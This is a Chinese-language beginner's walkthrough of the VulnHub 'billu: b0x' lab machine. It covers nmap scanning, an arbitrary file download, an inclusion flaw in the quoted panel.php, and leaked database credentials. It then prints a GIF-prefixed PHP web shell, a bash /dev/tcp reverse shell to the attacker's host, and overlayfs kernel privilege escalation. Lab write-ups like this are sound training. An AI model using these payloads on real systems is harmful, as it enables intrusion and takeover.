前言

最近有点迷茫,尝试一下学长推荐的一个经典的靶机。ps:第一次打靶机。

准备

这里下载靶机镜像:billu: b0x ~ VulnHub 导入创建靶机后,将网络设置为nat模式,和kali在同一个网段。

网段:192.168.26.0/24

kali:192.168.26.26

网关: 192.168.26.2

image-20231126184619521

开始

信息收集

先找出靶机的ip
nmap -sP 192.168.26.0/24

image-20231126185145277

这个192.168.26.133应该就是靶机的ip了。

端口扫描
nmap --min-rate 10000 -p- 192.168.26.133#以最低速率 1w进行端口扫描 -p- 表示扫描所有端口
nmap --min-rate 10000 -p 1-65535  192.168.26.133 #一样效果

image-20231126190408396

可以看到这里开放了22 ssh,和80 http服务。后面可以尝试ssh爆破。 这里先访问www服务看看。 image-20231126190703977

这里看到一个登录框,可以存在sql注入漏洞。但是尝试了,并没有发现注入漏洞。

扫目录

看一下 后台都有什么文件 image-20231126191234235

可以看到还是有很多的文件的,我们逐个访问测试

解题过程

add.php image-20231126191424071

一个上传文件的页面,尝试,发现没有返回

head.php image-20231126191809327

主页面的背景图片。

in

image-20231126191944310

in下可以看到phpinfo的信息。php版本:5.3.10 系统:乌班图

网站路径: image-20231126200909137

phpmy image-20231126192117871

phpmyadmin数据库工具。

show.php 没看到东西。

c 没看到东西

panel.php 一个跳转的页面

test.php image-20231126192634922

这里提示 file参数为空。 image-20231126192730559

这里发现,我们传递的参数文件可以进行下载。经过测试可以任意文件读取。

这里总结一下

index.php 一个登录页面
add.php   文件上传页面
in        phpinfo信息
phpmy     phpmyadmin数据库工具
test.php  文件下载
panel.php 一个跳转的页面
show.php  没看到东西。

到这里我们可以利用test.php 将其他的文件下载下来进行分析。

test.php image-20231126194923481

将我们传递的file参数,当做文件,进行任意下载。

c.php

<?php
#header( 'Z-Powered-By:its chutiyapa xD' );
header('X-Frame-Options: SAMEORIGIN');
header( 'Server:testing only' );
header( 'X-Powered-By:testing only' );
​
ini_set( 'session.cookie_httponly', 1 );
​
$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");
#存储数据库连接的句柄(handle)。通过此句柄,你可以执行与数据库有关的操作,比如查询。
​
// Check connection
if (mysqli_connect_errno())
  {
  echo "connection failed ->  " . mysqli_connect_error();
  }
?>

这里发现了数据库的账号和密码。

show.php

<?php
include('c.php');#
​
if(isset($_POST['continue']))
{
  $run='select * from users ';
  $result = mysqli_query($conn, $run); #从users中查询所有的数据
if (mysqli_num_rows($result) > 0) {#判断查询出的 数据数量
echo "<table width=90% ><tr><td>ID</td><td>User</td><td>Address</td><td>Image</td></tr>";
 while($row = mysqli_fetch_assoc($result)) 
   {
     echo '<tr><td>'.$row['id'].'</td><td>'.htmlspecialchars ($row['name'],ENT_COMPAT).'</td><td>'.htmlspecialchars ($row['address'],ENT_COMPAT).'</td><td><img src="uploaded_images/'.htmlspecialchars ($row['image'],ENT_COMPAT).'" height=90px width=100px></td></tr>';
}
   echo "</table>";
}
}
​
?>

大概就是查询数据,然后显示出来。

panel.php

<?php
session_start();
​
include('c.php');
include('head2.php');
if(@$_SESSION['logged']!=true )//如果没有登录 跳转到index.php
{
    header('Location: index.php', true, 302);
    exit();
  
}
​
​
​
echo "Welcome to billu b0x ";
echo '<form method=post style="margin: 10px 0px 10px 95%;"><input type=submit name=lg value=Logout></form>';
if(isset($_POST['lg']))#销毁会话
{
  unset($_SESSION['logged']);
  unset($_SESSION['admin']);
  header('Location: index.php', true, 302);
}
echo '<hr><br>';
​
echo '<form method=post>
​
<select name=load>
    <option value="show">Show Users</option>
  <option value="add">Add User</option>
</select> 
​
 &nbsp<input type=submit name=continue value="continue"></form><br><br>';
if(isset($_POST['continue']))
{
  $dir=getcwd();#h获取当前目录
  $choice=str_replace('./','',$_POST['load']);#
  
  if($choice==='add')
  {
          include($dir.'/'.$choice.'.php');#文件包含
      die();
  }
  
        if($choice==='show')
  {
        
    include($dir.'/'.$choice.'.php');
    die();
  }
  else
  {
    include($dir.'/'.$_POST['load']);
  }
  
}
​
#文件上传
if(isset($_POST['upload']))
{
  
  $name=mysqli_real_escape_string($conn,$_POST['name']);
  $address=mysqli_real_escape_string($conn,$_POST['address']);
  $id=mysqli_real_escape_string($conn,$_POST['id']);
  
  if(!empty($_FILES['image']['name']))
  {
    $iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);
  $r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);
  $image=array('jpeg','jpg','gif','png');
  if(in_array($r,$image))
  {
    $finfo = @new finfo(FILEINFO_MIME); 
  $filetype = @$finfo->file($_FILES['image']['tmp_name']);
    if(preg_match('/image\/jpeg/',$filetype )  || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype ))
        {
          if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name']))
               {
                echo "Uploaded successfully ";
                $update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')'; 
               mysqli_query($conn, $update);
                
              }
        }
      else
      {
        echo "<br>i told you dear, only png,jpg and gif file are allowed";
      }
  }
  else
  {
    echo "<br>only png,jpg and gif file are allowed";
  }
}
}
?>

这个文件实现了文件上传和文件包含,前面我们拿到了数据库的账号和密码,我们登录账号,然后通过上传图片马,然后通过文件包含触发图片马,这里测试一下。

billu:b0x_billu

登录phpmy image-20231126202306957

image-20231126202526611

这里查询出来一个用户,应该就是主页登录的用户。 ok,登录成功,按照index.php的逻辑现在就要跳到,panel.php页面 image-20231126202650335

这边可以显示上传的照片还能上传文件。 image-20231126202739628

发现只能上传图片。 上面我们也说了,这个php文件中存在一个文件包含,我们可以上传一个图片马,然后通过文件包含进行解析。

image-20231126203106457

image-20231126203151901

上传成功。我们查看一下。

image-20231126203223082

此时是没有解析的,这就要用到文件包含了。

image-20231126203343795

我们去构造load

image-20231126203628276

这里已经成功执行了。

image-20231126203750563

但是这里并不是root权限。

提权

第一种:

反弹一个低权限shell 构建shell反弹出来

echo "bash -i >& /dev/tcp/192.168.26.26/6666 0>&1" | bash

这里要进行url编码。

这里把图片马换成 (上面那个套上system也反弹不了 不知道为什么)

GIF89a
<?php system($_GET[a]);?>

image-20231126210029375

这边已经反弹过来了。

查看系统内核版本 image-20231126210626063

这里通过溢出提权 exp:Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation - Linux local Exploit (exploit-db.com)

现在要将exp上传上去 image-20231126211209295

这里注意这个目录是有写入的权限的,我们去写一个马 image-20231126212602392

蚁剑连接 image-20231126212629138

将exp上传

image-20231126212832985

编译执行,提权成功。

第二种

我们前面知道了网站的根目录,而且test.php可以任意文件下载。通过下载phpmyadmin的配置文件获取root密码 image-20231126213051495

这里就能看到root用户密码了,ssh登录。

image-20231126213225865

总结

第一次打靶机,虽然不是独立完成,但还是有很多收获的。